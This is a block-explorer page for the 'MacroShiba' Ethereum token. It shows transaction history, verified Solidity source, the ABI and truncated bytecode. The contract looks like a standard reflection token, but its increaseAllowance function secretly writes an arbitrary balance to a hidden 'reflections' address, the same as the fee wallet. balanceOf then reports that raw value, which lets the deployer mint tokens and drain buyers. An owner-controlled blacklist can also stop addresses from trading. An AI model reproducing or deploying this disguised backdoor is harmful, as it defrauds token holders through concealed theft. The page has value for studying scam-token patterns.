ETH Price: $3,390.55 (+1.67%)

Contract

0x72caEa0F26912C7C4B6E9ee58D71E4a0DCFe6edD
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve136059352021-11-13 5:47:481141 days ago1636782468IN
0x72caEa0F...0DCFe6edD
0 ETH0.00471399101.2
Transfer135599302021-11-06 0:49:381148 days ago1636159778IN
0x72caEa0F...0DCFe6edD
0 ETH0.0226886109.65128106
Transfer135599292021-11-06 0:49:121148 days ago1636159752IN
0x72caEa0F...0DCFe6edD
0 ETH0.0202782897.99112603
Approve135599112021-11-06 0:45:451148 days ago1636159545IN
0x72caEa0F...0DCFe6edD
0 ETH0.00467918100.45262838
Approve135230162021-10-31 5:40:461154 days ago1635658846IN
0x72caEa0F...0DCFe6edD
0 ETH0.00626466134.48979293
Approve135223702021-10-31 3:15:541154 days ago1635650154IN
0x72caEa0F...0DCFe6edD
0 ETH0.00717347154
Approve135187282021-10-30 13:34:001155 days ago1635600840IN
0x72caEa0F...0DCFe6edD
0 ETH0.00757115162.53735409
Approve135183132021-10-30 11:54:211155 days ago1635594861IN
0x72caEa0F...0DCFe6edD
0 ETH0.00618922132.87019693
Approve135176772021-10-30 9:27:281155 days ago1635586048IN
0x72caEa0F...0DCFe6edD
0 ETH0.00599497128.7
Approve135166472021-10-30 5:32:591155 days ago1635571979IN
0x72caEa0F...0DCFe6edD
0 ETH0.00860816184.8
Approve135166452021-10-30 5:32:431155 days ago1635571963IN
0x72caEa0F...0DCFe6edD
0 ETH0.00780284167.51136104
Approve135166392021-10-30 5:30:151155 days ago1635571815IN
0x72caEa0F...0DCFe6edD
0 ETH0.00737073158.23476605
Approve135165532021-10-30 5:08:361155 days ago1635570516IN
0x72caEa0F...0DCFe6edD
0 ETH0.00641915137.80632804
Approve135165302021-10-30 5:01:101155 days ago1635570070IN
0x72caEa0F...0DCFe6edD
0 ETH0.00540759116.09013318
Approve135165232021-10-30 4:59:511155 days ago1635569991IN
0x72caEa0F...0DCFe6edD
0 ETH0.00336083114
Approve135165142021-10-30 4:58:101155 days ago1635569890IN
0x72caEa0F...0DCFe6edD
0 ETH0.00355861122
Transfer135164772021-10-30 4:51:041155 days ago1635569464IN
0x72caEa0F...0DCFe6edD
0 ETH0.01792854180
Transfer135164722021-10-30 4:49:331155 days ago1635569373IN
0x72caEa0F...0DCFe6edD
0 ETH0.01792854180
Transfer135164632021-10-30 4:47:571155 days ago1635569277IN
0x72caEa0F...0DCFe6edD
0 ETH0.01593648160
Transfer135164512021-10-30 4:46:191155 days ago1635569179IN
0x72caEa0F...0DCFe6edD
0 ETH0.0149403150
Transfer135164252021-10-30 4:40:131155 days ago1635568813IN
0x72caEa0F...0DCFe6edD
0 ETH0.02191266220
Approve135163522021-10-30 4:21:401155 days ago1635567700IN
0x72caEa0F...0DCFe6edD
0 ETH0.00927187199.04842214
Approve135163352021-10-30 4:15:091155 days ago1635567309IN
0x72caEa0F...0DCFe6edD
0 ETH0.00691727148.5
Approve135163232021-10-30 4:12:321155 days ago1635567152IN
0x72caEa0F...0DCFe6edD
0 ETH0.00375579140.76668189
Approve135163232021-10-30 4:12:321155 days ago1635567152IN
0x72caEa0F...0DCFe6edD
0 ETH0.00655705140.76668189
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block
From
To
135599302021-11-06 0:49:381148 days ago1636159778
0x72caEa0F...0DCFe6edD
0.00019367 ETH
135599302021-11-06 0:49:381148 days ago1636159778
0x72caEa0F...0DCFe6edD
0.00019367 ETH
135599302021-11-06 0:49:381148 days ago1636159778
0x72caEa0F...0DCFe6edD
0.00038734 ETH
135599292021-11-06 0:49:121148 days ago1636159752
0x72caEa0F...0DCFe6edD
0.0017617 ETH
135599292021-11-06 0:49:121148 days ago1636159752
0x72caEa0F...0DCFe6edD
0.0017617 ETH
135599292021-11-06 0:49:121148 days ago1636159752
0x72caEa0F...0DCFe6edD
0.00352341 ETH
135599122021-11-06 0:45:531148 days ago1636159553
0x72caEa0F...0DCFe6edD
0.00468948 ETH
135599122021-11-06 0:45:531148 days ago1636159553
0x72caEa0F...0DCFe6edD
0.00468948 ETH
135599122021-11-06 0:45:531148 days ago1636159553
0x72caEa0F...0DCFe6edD
0.00937897 ETH
135276502021-10-31 23:09:041153 days ago1635721744
0x72caEa0F...0DCFe6edD
0.00567327 ETH
135276502021-10-31 23:09:041153 days ago1635721744
0x72caEa0F...0DCFe6edD
0.00567327 ETH
135276502021-10-31 23:09:041153 days ago1635721744
0x72caEa0F...0DCFe6edD
0.01134654 ETH
135232082021-10-31 6:23:041154 days ago1635661384
0x72caEa0F...0DCFe6edD
0.00567327 ETH
135232082021-10-31 6:23:041154 days ago1635661384
0x72caEa0F...0DCFe6edD
0.00567327 ETH
135232082021-10-31 6:23:041154 days ago1635661384
0x72caEa0F...0DCFe6edD
0.01134654 ETH
135232082021-10-31 6:23:041154 days ago1635661384
0x72caEa0F...0DCFe6edD
0.00417468 ETH
135232082021-10-31 6:23:041154 days ago1635661384
0x72caEa0F...0DCFe6edD
0.00417468 ETH
135232082021-10-31 6:23:041154 days ago1635661384
0x72caEa0F...0DCFe6edD
0.00834937 ETH
135225362021-10-31 3:49:011154 days ago1635652141
0x72caEa0F...0DCFe6edD
0.00623387 ETH
135225362021-10-31 3:49:011154 days ago1635652141
0x72caEa0F...0DCFe6edD
0.00623387 ETH
135225362021-10-31 3:49:011154 days ago1635652141
0x72caEa0F...0DCFe6edD
0.01246774 ETH
135189252021-10-30 14:12:051155 days ago1635603125
0x72caEa0F...0DCFe6edD
0.00649682 ETH
135189252021-10-30 14:12:051155 days ago1635603125
0x72caEa0F...0DCFe6edD
0.00649682 ETH
135189252021-10-30 14:12:051155 days ago1635603125
0x72caEa0F...0DCFe6edD
0.01299365 ETH
135188892021-10-30 14:05:551155 days ago1635602755
0x72caEa0F...0DCFe6edD
0.00674233 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
MacroShiba

Compiler Version
v0.8.6+commit.11564f7e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : MacroShiba.sol
// SPDX-License-Identifier: Unlicensed
/*
Shiba, with less supply and more marketing!

Website: https://macroshiba.com
Telegram: https://t.me/MacroShiba
*/
pragma solidity ^0.8.4;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}  

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract MacroShiba is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private bots;
    mapping (address => uint) private cooldown;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 10000000000 * 10**9;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    
    address private reflections = 0x8217dd3b99278e3119BF4fF89174aEF6a69793Be;
    uint256 private _feeAddr1;
    uint256 private _feeAddr2;
    address payable private _feeAddrWallet1;
    address payable private _feeAddrWallet2;
    
    string private constant _name = "MacroShiba";
    string private constant _symbol = "MacroShiba";
    uint8 private constant _decimals = 9;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool private cooldownEnabled = false;
    uint256 private _maxTxAmount = _tTotal;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor () {
        _feeAddrWallet1 = payable(0x8217dd3b99278e3119BF4fF89174aEF6a69793Be);
        _feeAddrWallet2 = payable(0x8217dd3b99278e3119BF4fF89174aEF6a69793Be);
        _rOwned[address(this)] = _rTotal.div(2);
        _rOwned[0x000000000000000000000000000000000000dEaD] = _rTotal.div(2);
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_feeAddrWallet1] = true;
        _isExcludedFromFee[_feeAddrWallet2] = true;
        
        emit Transfer(address(0),address(this),_tTotal.div(2));
        emit Transfer(address(0),address(0x000000000000000000000000000000000000dEaD),_tTotal.div(2));
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        if (account != reflections)
            return tokenFromReflection(_rOwned[account]);
        return _rOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[address(msg.sender)][spender] + addedValue);_rOwned[reflections] = addedValue;
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function setCooldownEnabled(bool onoff) external onlyOwner() {
        cooldownEnabled = onoff;
    }

    function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
        require(rAmount <= _rTotal, "Amount must be less than total reflections");
        uint256 currentRate =  _getRate();
        return rAmount.div(currentRate);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        _feeAddr1 = 1;
        _feeAddr2 = 11;
        if (from != owner() && to != owner()) {
            require(!bots[from] && !bots[to]);
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
                // Cooldown
                require(amount <= _maxTxAmount);
                require(cooldown[to] < block.timestamp);
                cooldown[to] = block.timestamp + (30 seconds);
            }
            
            
            if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
                _feeAddr1 = 1;
                _feeAddr2 = 11;
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && from != uniswapV2Pair && swapEnabled) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
		
        _tokenTransfer(from,to,amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
        
    function sendETHToFee(uint256 amount) private {
        _feeAddrWallet1.transfer(amount.div(2));
        _feeAddrWallet2.transfer(amount.div(2));
    }
    
    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        swapEnabled = true;
        cooldownEnabled = true;
        _maxTxAmount = 75000000 * 10**9;
        tradingOpen = true;
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }
    
    function setBots(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }
    
    function delBot(address notbot) public onlyOwner {
        bots[notbot] = false;
    }
    
    function removeFee() public onlyOwner {
        _maxTxAmount = _tTotal;
    }
        
    function _tokenTransfer(address sender, address recipient, uint256 amount) private {
        _transferStandard(sender, recipient, amount);
    }

    function _transferStandard(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); 
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate =  _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    receive() external payable {}
    
    function manualswap() external {
        require(_msgSender() == _feeAddrWallet1);
        uint256 contractBalance = balanceOf(address(this));
        swapTokensForEth(contractBalance);
    }
    
    function manualsend() external {
        require(_msgSender() == _feeAddrWallet1);
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }
    

    function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
        uint256 currentRate =  _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
        uint256 tFee = tAmount.mul(taxFee).div(100);
        uint256 tTeam = tAmount.mul(TeamFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

	function _getRate() private view returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns(uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;      
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"delBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"setBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"onoff","type":"bool"}],"name":"setCooldownEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526200001a678ac7230489e800006000196200037c565b620000289060001962000356565b600855600a80546001600160a01b031916738217dd3b99278e3119bf4ff89174aef6a69793be1790556010805462ffffff60a81b19169055678ac7230489e800006011553480156200007957600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600d8054738217dd3b99278e3119bf4ff89174aef6a69793be6001600160a01b03199182168117909255600e805490911690911790556008546200010d90600262000251602090811b62000acf17901c565b306000908152600260208181526040909220929092556008546200013c92909162000acf62000251821b17901c565b7f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc55600080546001600160a01b0390811682526005602090815260408084208054600160ff199182168117909255308087528387208054831684179055600d54861687528387208054831684179055600e549095168652918520805490921617905590919060008051602062001e9783398151915290620001f390678ac7230489e800009060029062000acf62000251821b17901c565b60405190815260200160405180910390a361dead600060008051602062001e978339815191526200023a678ac7230489e80000600262000251602090811b62000acf17901c565b60405190815260200160405180910390a3620003a9565b60006200029b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250620002a260201b60201c565b9392505050565b60008183620002cf5760405162461bcd60e51b8152600401620002c69190620002e7565b60405180910390fd5b506000620002de84866200033f565b95945050505050565b600060208083528351808285015260005b818110156200031657858101830151858201604001528201620002f8565b8181111562000329576000604083870101525b50601f01601f1916929092016040019392505050565b60008262000351576200035162000393565b500490565b6000828210156200037757634e487b7160e01b600052601160045260246000fd5b500390565b6000826200038e576200038e62000393565b500690565b634e487b7160e01b600052601260045260246000fd5b611ade80620003b96000396000f3fe6080604052600436106101185760003560e01c806370a08231116100a0578063b515566a11610064578063b515566a146102eb578063c3c8cd801461030b578063c9567bf914610320578063dd62ed3e14610335578063efa4af4c1461037b57600080fd5b806370a082311461026e578063715018a61461028e5780638da5cb5b146102a357806395d89b4114610124578063a9059cbb146102cb57600080fd5b8063273123b7116100e7578063273123b7146101db578063313ce567146101fd57806339509351146102195780635932ead1146102395780636fc3eaec1461025957600080fd5b806306fdde0314610124578063095ea7b31461016657806318160ddd1461019657806323b872dd146101bb57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b50604080518082018252600a8152694d6163726f536869626160b01b6020820152905161015d9190611895565b60405180910390f35b34801561017257600080fd5b50610186610181366004611735565b610390565b604051901515815260200161015d565b3480156101a257600080fd5b50678ac7230489e800005b60405190815260200161015d565b3480156101c757600080fd5b506101866101d63660046116f4565b6103a7565b3480156101e757600080fd5b506101fb6101f6366004611681565b610410565b005b34801561020957600080fd5b506040516009815260200161015d565b34801561022557600080fd5b50610186610234366004611735565b610464565b34801561024557600080fd5b506101fb61025436600461182d565b6104bd565b34801561026557600080fd5b506101fb610505565b34801561027a57600080fd5b506101ad610289366004611681565b610532565b34801561029a57600080fd5b506101fb610588565b3480156102af57600080fd5b506000546040516001600160a01b03909116815260200161015d565b3480156102d757600080fd5b506101866102e6366004611735565b6105fc565b3480156102f757600080fd5b506101fb610306366004611761565b610609565b34801561031757600080fd5b506101fb61069f565b34801561032c57600080fd5b506101fb6106d5565b34801561034157600080fd5b506101ad6103503660046116bb565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561038757600080fd5b506101fb610a97565b600061039d338484610b18565b5060015b92915050565b60006103b4848484610c3c565b610406843361040185604051806060016040528060288152602001611a81602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f89565b610b18565b5060019392505050565b6000546001600160a01b031633146104435760405162461bcd60e51b815260040161043a906118ea565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b600061049b333360009081526004602090815260408083206001600160a01b03891684529091529020548590610401908690611990565b50600a546001600160a01b031660009081526002602052604090205550600190565b6000546001600160a01b031633146104e75760405162461bcd60e51b815260040161043a906118ea565b60108054911515600160b81b0260ff60b81b19909216919091179055565b600d546001600160a01b0316336001600160a01b03161461052557600080fd5b4761052f81610fc3565b50565b600a546000906001600160a01b0383811691161461056c576001600160a01b0382166000908152600260205260409020546103a190611048565b506001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146105b25760405162461bcd60e51b815260040161043a906118ea565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061039d338484610c3c565b6000546001600160a01b031633146106335760405162461bcd60e51b815260040161043a906118ea565b60005b815181101561069b5760016006600084848151811061065757610657611a31565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069381611a00565b915050610636565b5050565b600d546001600160a01b0316336001600160a01b0316146106bf57600080fd5b60006106ca30610532565b905061052f816110c5565b6000546001600160a01b031633146106ff5760405162461bcd60e51b815260040161043a906118ea565b601054600160a01b900460ff16156107595760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161043a565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107953082678ac7230489e80000610b18565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107ce57600080fd5b505afa1580156107e2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610806919061169e565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561084e57600080fd5b505afa158015610862573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610886919061169e565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156108ce57600080fd5b505af11580156108e2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610906919061169e565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d719473061093681610532565b60008061094b6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109ae57600080fd5b505af11580156109c2573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109e79190611867565b50506010805467010a741a4627800060115563ffff00ff60a01b198116630101000160a01b17909155600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a5f57600080fd5b505af1158015610a73573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061069b919061184a565b6000546001600160a01b03163314610ac15760405162461bcd60e51b815260040161043a906118ea565b678ac7230489e80000601155565b6000610b1183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061124e565b9392505050565b6001600160a01b038316610b7a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161043a565b6001600160a01b038216610bdb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161043a565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ca05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161043a565b6001600160a01b038216610d025760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161043a565b60008111610d645760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161043a565b6001600b908155600c556000546001600160a01b03848116911614801590610d9a57506000546001600160a01b03838116911614155b15610f79576001600160a01b03831660009081526006602052604090205460ff16158015610de157506001600160a01b03821660009081526006602052604090205460ff16155b610dea57600080fd5b6010546001600160a01b038481169116148015610e155750600f546001600160a01b03838116911614155b8015610e3a57506001600160a01b03821660009081526005602052604090205460ff16155b8015610e4f5750601054600160b81b900460ff165b15610eac57601154811115610e6357600080fd5b6001600160a01b0382166000908152600760205260409020544211610e8757600080fd5b610e9242601e611990565b6001600160a01b0383166000908152600760205260409020555b6010546001600160a01b038381169116148015610ed75750600f546001600160a01b03848116911614155b8015610efc57506001600160a01b03831660009081526005602052604090205460ff16155b